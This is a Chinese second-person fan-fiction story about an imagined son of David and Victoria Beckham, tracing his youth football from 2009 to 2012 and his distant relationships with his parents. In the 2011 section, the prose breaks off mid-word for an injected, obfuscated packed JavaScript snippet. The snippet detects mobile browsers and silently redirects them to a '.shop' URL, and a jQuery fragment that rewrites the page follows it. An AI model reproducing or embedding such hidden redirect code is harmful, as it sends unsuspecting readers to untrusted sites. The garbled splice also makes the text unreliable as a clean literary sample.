2009年3月
七岁半。一个周六下午，你正在参加一场社区少年比赛。
场地很破，草皮秃了一块，门网有两个洞。
你穿着富勒姆捐赠的免费球衣，背后没有名字，只有号码——14号，你随便选的。
对面是格林威治联队的U8梯队，一个个都比你们高半头。上半场你被撞倒三次，膝盖破了皮，你低头看了一眼，没吭声，爬起来继续跑。
裁判是个戴棒球帽的胖大叔，第三次判对方犯规时，他弯腰对你说：“小孩，你可以哭一下的。”你没理他。
下半场第12分钟，你从本方半场开始带球。
你记得很清楚——球在脚下的时候，世界就安静了。看台上家长的喊叫、对方教练的哨声、队友的跑位呼喊，全都变成了背景音。
你过掉第一个，是趟球穿裆；过掉第二个，是人球分过；过掉第三个，你只用了速度，直线冲刺。
最后面对门将，你推了远角。球滚进球网的时候，你听到了稀稀拉拉的掌声。
你没有庆祝。你转身走回中圈，低头系鞋带。鞋带其实没松。
看台边站着一个穿灰夹克的中年男人，手里拿着一个旧款诺基亚手机，好像刚拍完什么。他没有过来找你，只是在本子上写了几个字，然后走了。
那是多特蒙德驻英国的球探克劳斯·费舍尔。你当时不知道他是谁，也没人在意他。
比赛结束后，保姆艾琳来接你。她给你带了保温杯，里面是热巧克力。
你坐在副驾驶，喝了两口，没说话。艾琳问：“今天开心吗？”你说：“赢了。”
艾琳说：“我不是问赢没赢，我是问你开不开心。”你把保温杯的盖子拧紧，过了五秒钟才说：“踢球的时候，还行。”
那天晚上你回到家，维多利亚在书房打电话，隔着门能听到她的声音，但听不清内容。
你把比赛服扔进洗衣机，然后坐在厨房的岛台边，吃了一碗麦片。
大卫打了电话来，艾琳接的，说你已经睡了。其实你醒着，躺在床上，盯着天花板。
天花板上有一道裂缝，从灯座延伸到墙角，你数过，大概两米三。你每天晚上都在数那道裂缝。
——
2010年2月
九岁。你已经在富勒姆U9梯队待了半年。每周训练三次，周末一场比赛。
司机送你，艾琳接你。
你很少说话，但教练马丁·威尔逊发现，你踢球的时候是另一个人——不，不是另一个人，是同一个人的另一种状态。
马丁是个四十多岁的苏格兰人，头发少了一半，年轻时在苏超踢过边锋，膝盖废了以后转做青训教练。
他喜欢你的原因很简单：你从来不需要第二遍指令。
有一天训练结束，所有人都在收拾东西回家。
你一个人走到角落的反弹网前，从球筐里拎出十来个球，开始练左脚传中。马丁看见了，没走，站在二十米外靠着栏杆抽烟。
你第一脚传大了，飞出底线。第二脚太低，被反弹网挡回来。第三脚，你调整了步点，球划出一道弧线，刚好落在反弹网最深处的小方格里——那是马丁平时用胶带贴出来的目标区。
马丁把烟掐了。
“你左脚是天生的还是练的？”他走过来问。
“练的。”你说。
“多久了？”
“从五岁开始。”
马丁蹲下来，看着你的左脚鞋面，上面磨出了明显的划痕。“你父亲右脚是绝活，你就非得练左脚？”他问这句话时语气不是调侃，是好奇。
你看了他一眼。那双灰蓝色的眼睛，马丁后来在采访里回忆过，“不像是九岁孩子的眼睛，里面没什么光。”
“我不想和他一样。”你说。
马丁沉默了几秒，然后站起来，从球筐里又拿了十个球放在你脚边。“你发力的时候，胯骨再转过来一点，大概十五度。你试试。”
你照做了。第一个球，弧线更明显，球弹在方格边缘。第二个球，正中方格。
马丁吹了声口哨。“你是我见过最奇怪的九岁小孩。”
你没笑。
从那天起，马丁每周会留出二十分钟专门带你练左脚。
他不跟你谈家里的事，不谈父亲母亲，只谈足球。你喜欢这种关系——不带感情，只谈技术。
————
2010年11月，伦敦，家里客厅
九岁。大卫难得回家，不是因为过节，是因为他那天在伦敦有商业拍摄。他在家待了不到二十四个小时。
你放学回家，看到他坐在客厅沙发上，穿着一件黑色高领毛衣，旁边放着一杯美式咖啡。茶几上摆着艾琳打印出来的你的训练报告——你都不知道艾琳什么时候打印的。
“阿尔菲。”大卫站起来，张开双臂。
你没动。
他走过来，弯腰抱你，你让他抱了，但手臂垂在身体两侧，没有回抱。
你闻到了他的香水味，和杂志广告上闻到的味道一样。你已经不记得上一次抱他是什么时候了。
“坐下，给爸爸看看你的训练视频。”他拍着沙发垫子。
你坐下来，中间隔了一个靠垫的距离。
艾琳提前把视频导进了iPad。大卫看得很认真，不时点头。
你看着他侧脸——他的胡子修剪得很整齐，皮肤比几年前老了，眼角的纹路明显了，但轮廓还是那张全世界都知道的脸。
“盘带的时候重心再低一点。”大卫指着屏幕，用手指在你面前比划，“你看这个变向，你身体是直的，防守球员很容易判断。如果重心压下来，幅度更大……”
你听他讲完了。他没有说错任何话，他说的都是对的。
问题不在这里。
“我会了。”你打断他。
大卫停下来看着你。他的眼神里有种东西——内疚？心疼？你分不清，也不想去分。
“阿尔菲，我知道你不容易。”他说，把手放在你的肩膀上。
你把它拿开了。动作很轻，但是很坚决。
“你知道什么？”你说。
客厅安静了。墙上的钟在走，滴答滴答。大卫张了张嘴，什么都没说出来。
你站起来，上楼，关上门。
你在门后蹲了五分钟。指甲掐进手心，留下四个月牙形的印子。没有哭。
第二天早上你起床的时候，大卫已经走了。茶几上留了一张纸条，用他的笔迹写着：“爸爸永远爱你。下次一定陪你踢球。”
你把纸条揉成团，扔进垃圾桶。
后来你从垃圾桶里捡了回来，压在书桌垫板下面。你没告诉任何人。
——
2011年7月
十岁。你第一次入选英格兰U11集训队。大巴从伦敦出发，你在车上坐在最后一排靠窗的位置，戴着耳机。
耳机里什么声音都没有——你没开音乐。你就是不想说话。
圣乔治公园是英足总的精英训练
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637405|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
基地，草皮比富勒姆的训练场好两倍。
你换上白色的英格兰训练服，站在更衣室镜子前看了自己一眼：浅金色短发被帽檐压得塌下来，灰蓝色眼睛下面有一圈淡淡的青黑色——你昨晚又只睡了五个小时。
队友从各个俱乐部的青训营来的。切尔西的、阿森纳的、曼城的、南安普顿的。每个人都在暗中打量别人——谁的速度快，谁的技术好，谁的牌子更大。
你姓贝克汉姆，所以所有人都认识你，但没有人过来跟你说话。
分组对抗时，你被分到和拉希姆一组。拉希姆来自南安普顿青训，比你大半岁，踢右边锋。
他个子不高，但肩膀宽，肌肉线条已经显出来了。他跑过来跟你说：“你左我右，我插身后，你给直塞。”
你说：“你启动那一下太急，给早了越位，给晚了接不到。”
拉希姆愣了一下，大概没想到一个十岁的小孩会这么说。然后他笑了：“那你试着给。”
开场第三分钟，你拿到球，左边路内切，余光扫到拉希姆从右肋插上。
你捅了一脚直塞，球速刚好——不快不慢，刚好到禁区弧顶。拉希姆跑过了。他冲出去两步才发现球在身后，急停回头，球已经滚到底线了。
“你提前量能不能小一点！”拉希姆回头喊。
“是你启动慢了。”你说。
中场休息，教练把你们俩叫到一起：“你们俩别吵了，下半场继续搭档。”拉希姆看了你一眼，没说话。你也没说话。
下半场第五分钟，你再次拿球。这次你没看他，但你知道他在跑。你脚后跟一磕，球从他脚下穿过，他顺势一趟，推射远角，进了。
拉希姆跑过来想击掌，你的手伸了一半，缩回去了。你只是点了点头。
赛后教练问你为什么不击掌，你说：“赢了就行。”
拉希姆后来成了你在青年队阶段为数不多愿意说话的人。
不是因为他特别有趣，而是因为他是唯一一个被你顶撞之后没有生气、反而下次还敢跟你配合的人。
——
2012年3月
十一岁。母亲维多利亚让你放学后去她的工作室等她。
你让司机开到伦敦西区那栋白色建筑前面。
前台带你上了二楼，走廊里挂满了她历年时装秀的照片，没有一张有你们几个孩子。
你坐在灰色沙发上写数学作业。等了两个小时。
你写完作业，又看了半小时iPad上的比赛录像。维多利亚从会议室出来，一边打电话一边翻文件夹，看见你坐在那儿，手指比了个“等一下”的手势，然后回到另一个电话。
又等了四十分钟。
她终于出来了。没有说“抱歉让你等这么久”，只是问你：“吃饭了吗？”
“还没。”你说。
“那让司机带你去吃点东西，我还有个电话会。”她转身走了。
你坐在沙发上又坐了五分钟，然后收拾东西下楼。
在车里，你刷到维多利亚的Instagram，她刚发了一条动态：在工作室开了一整天会，收获满满的一天，配图是她对着落地窗喝咖啡的背影。
你盯着那张照片看了十秒钟。
你没有点赞。
回家后，你从冰箱上撕下一张便利贴——那是艾琳留的备忘——翻到背面，用马克笔写了一行字：“下次别再等。”然后贴在冰箱门内侧，只有打开冰箱才能看到。
你从来不确定她有没有看到过。